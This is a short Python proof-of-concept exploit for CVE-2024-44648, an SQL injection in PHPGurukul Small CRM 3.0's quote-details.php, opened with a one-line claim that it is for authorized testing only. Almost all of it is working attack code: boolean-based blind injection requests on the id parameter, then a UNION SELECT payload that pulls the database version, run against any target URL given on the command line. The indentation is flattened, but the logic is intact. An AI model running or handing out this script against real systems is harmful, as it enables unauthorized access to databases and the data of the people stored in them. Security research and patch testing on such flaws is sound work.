The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2024-44648 PoC - SQL Injection in PHPGurukul Small CRM 3.0
# Target: quote-details.php via id and adminremark parameters
def exploit_sqli(target_url):
"""
SQL Injection PoC for CVE-2024-44648
This PoC demonstrates the vulnerability using boolean-based blind injection
"""
# Test basic injection on 'id' parameter
print("[*] Testing SQL Injection on id parameter...")
# Normal request
normal_payload = f"{target_url}/quote-details.php?id=1"
# Boolean-based injection test
true_payload = f"{target_url}/quote-details.php?id=1' AND 1=1 --+"
false_payload = f"{target_url}/quote-details.php?id=1' AND 1=2 --+"
try:
# Check if application is vulnerable
r_normal = requests.get(normal_payload, timeout=10)
r_true = requests.get(true_payload, timeout=10)
r_false = requests.get(false_payload, timeout=10)
if r_true.status_code == r_normal.status_code and r_false.status_code != r_normal.status_code:
print("[+] Vulnerability confirmed! Application is vulnerable to SQL Injection")
# Extract database version using UNION injection
union_payload = f"{target_url}/quote-details.php?id=1' UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11,12 --+"
print(f"[*] Extracting database version...")
r_union = requests.get(union_payload, timeout=10)
if '5.' in r_union.text or '8.' in r_union.text:
print("[+] Database version extracted successfully")
else:
print("[-] Target may not be vulnerable")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
def main():
if len(sys.argv) < 2:
print("Usage: python cve-2024-44648.py <target_url>")
print("Example: python cve-2024-44648.py http://localhost/small-crm")
sys.exit(1)
target = sys.argv[1].rstrip('/')
exploit_sqli(target)
if __name__ == "__main__":
main()